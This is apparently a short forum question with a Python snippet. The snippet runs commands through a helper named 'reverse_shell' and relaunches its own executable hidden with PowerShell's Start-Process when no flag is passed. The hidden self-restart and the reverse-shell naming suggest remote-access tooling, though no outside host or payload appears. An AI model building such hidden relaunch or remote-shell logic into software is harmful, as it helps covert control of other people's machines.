I'm creating a system whose I'm going to have to run the program so that if it doesn't have a flag it will start itself, and it's kind of strange
try:
flag = sys.argv[1:][0]
utils.reverse_shell('msg * flag :) ')
except IndexError:
utils.reverse_shell('msg * no flag ')
utils.reverse_shell(f'Start-Process -FilePath "{acess.GetSelf()[0]}" --midia -WindowStyle Hidden')
utils.reverse_shell('msg * runnned ')